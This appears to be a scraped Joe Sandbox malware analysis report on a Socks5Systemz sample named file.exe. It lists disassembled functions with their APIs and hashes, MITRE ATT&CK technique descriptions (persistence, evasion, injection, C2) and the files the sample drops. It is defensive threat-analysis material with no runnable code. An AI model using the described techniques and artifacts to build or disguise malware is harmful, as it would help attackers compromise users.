Instruction Fuzzy Hash: 6FE09272E5410497EB25EF9888117FDB779DF48710F4044DAE40167280DAF11944CF91

Function 02B93919 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B9391E
std::runtime_error::runtime_error.LIBCPMT ref: 02B9393D

Part of subcall function 02B91410: std::exception::exception.LIBCMT ref: 02B91428

Part of subcall function 02B988BF: _memmove.LIBCMT ref: 02B988DF

Strings

Month number is out of range 1..12, xrefs: 02B9392C

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog_memmovestd::exception::exceptionstd::runtime_error::runtime_error
String ID: Month number is out of range 1..12
API String ID: 3258419250-4198407886
Opcode ID: a8e752a2b62437c327c834a365cd95b1e9acc9a17572f712d6a58c8f8dbf16f5
Instruction ID: e2800e3cfb1ab50b9582153eb4cd1f6decff29f418af041e666b264d9a759d29
Opcode Fuzzy Hash: a8e752a2b62437c327c834a365cd95b1e9acc9a17572f712d6a58c8f8dbf16f5
Instruction Fuzzy Hash: 97E09272E1410897EB25BF9888517FDB779DF18710F4040EAE80163280DAF12940CB91

Function 02B919C2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 02B919CC
GetLastError.KERNEL32 ref: 02B919D9

Part of subcall function 02B91712: __EH_prolog.LIBCMT ref: 02B91717

Strings

tss, xrefs: 02B919E8

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: AllocErrorH_prologLast
String ID: tss
API String ID: 249634027-1638339373
Opcode ID: 5e6aae6d8ab7dd25f8b2ef4cc3a0f6a079c364f0a46b74acb60155b2b533ee5f
Instruction ID: 06806d56d61d01a46a4052bb9b355a2a807414f2ea1b2a56c9df0282029469f6
Opcode Fuzzy Hash: 5e6aae6d8ab7dd25f8b2ef4cc3a0f6a079c364f0a46b74acb60155b2b533ee5f
Instruction Fuzzy Hash: 59E04F329142115B86017A78D80809BBBA49B40274F108BA7EDBA832D0EA7099109AC6

Function 02B93BD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02B93BD8
std::bad_exception::bad_exception.LIBCMT ref: 02B93BED

Part of subcall function 02BA23F7: std::exception::exception.LIBCMT ref: 02BA2401

Part of subcall function 02B9A58A: __EH_prolog.LIBCMT ref: 02B9A58F
Part of subcall function 02B9A58A: __CxxThrowException@8.LIBCMT ref: 02B9A5B8

Strings

bad cast, xrefs: 02B93BE5

Memory Dump Source

Source File: 00000002.00000002.2929379695.0000000002B91000.00000040.00001000.00020000.00000000.sdmp, Offset: 02B91000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2b91000_freeprogramingtv32.jbxd

Yara matches

Similarity

API ID: H_prolog$Exception@8Throwstd::bad_exception::bad_exceptionstd::exception::exception
String ID: bad cast
API String ID: 1300498068-3145022300
Opcode ID: 65fa484a0889356a721ff6892ffff3d3cab8d5d0e6de5a0a84ab23d9d34a2b66
Instruction ID: e25df86f71baca2f0f72cbd864c216c74308ce7bada8559852491e023a5c8e3d
Opcode Fuzzy Hash: 65fa484a0889356a721ff6892ffff3d3cab8d5d0e6de5a0a84ab23d9d34a2b66
Instruction Fuzzy Hash: A9E01A719041099BCB1AEF54D551BB8B7B1EF15300F4080EDE90657290CB769956CE96

Function 0040446C Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,00404234,?,?,?,00000100,?,00000000), ref: 00404494
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,00404234,?,?,?,00000100,?,00000000), ref: 004044C8
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,00000000,00404234,?,?,?,00000100,?,00000000), ref: 004044E2
HeapFree.KERNEL32(00000000,?,?,00000000,00404234,?,?,?,00000100,?,00000000), ref: 004044F9

Memory Dump Source

Source File: 00000002.00000002.2928140086.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2928140086.0000000000409000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_freeprogramingtv32.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 03264f3b7f6a3c24648121467edc173d78a87d9b85cb2d8b679f40e74ce8d20c
Instruction ID: 6532d2b8740b88ca5c68c93f46193dcc45771cdeba7f909f778517217a69801f
Opcode Fuzzy Hash: 03264f3b7f6a3c24648121467edc173d78a87d9b85cb2d8b679f40e74ce8d20c
Instruction Fuzzy Hash: 02113670200301AFC731CF29EE45A627BB5FB847207104A3AF252E65F0D775A866EF19

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Socks5Systemz

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\DPI Analog Input 9.15.45\DPI Analog Input 9.15.45.exe

C:\ProgramData\dp915it45.dat

C:\ProgramData\dp915rc45.dat

C:\ProgramData\dp915resa.dat

C:\ProgramData\dp915resb.dat

C:\Users\user\AppData\Local\Free Programing TV\Qt5OpenGL.dll (copy)

C:\Users\user\AppData\Local\Free Programing TV\freeprogramingtv32.exe

C:\Users\user\AppData\Local\Free Programing TV\is-2N406.tmp

C:\Users\user\AppData\Local\Free Programing TV\is-3AOSI.tmp

C:\Users\user\AppData\Local\Free Programing TV\is-H5PTD.tmp

C:\Users\user\AppData\Local\Free Programing TV\is-ID0G0.tmp

C:\Users\user\AppData\Local\Free Programing TV\is-KSEJR.tmp

C:\Users\user\AppData\Local\Free Programing TV\is-QTH1O.tmp

C:\Users\user\AppData\Local\Free Programing TV\is-UF6SG.tmp

C:\Users\user\AppData\Local\Free Programing TV\is-UFCL6.tmp

C:\Users\user\AppData\Local\Free Programing TV\libeay32.dll (copy)

Windows Analysis Report
file.exe

Function 00409B78 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Function 0040457C Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 27
libraryloaderCOMMON

Function 0040AAB4 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 109
COMMON

Function 004090A4 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Function 0040AAA2 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 105
COMMON

Function 004099EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 77
processCOMMON

Function 00401918 Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Function 0040A814 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
windowCOMMON

Function 0040A82F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113
windowCOMMON

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre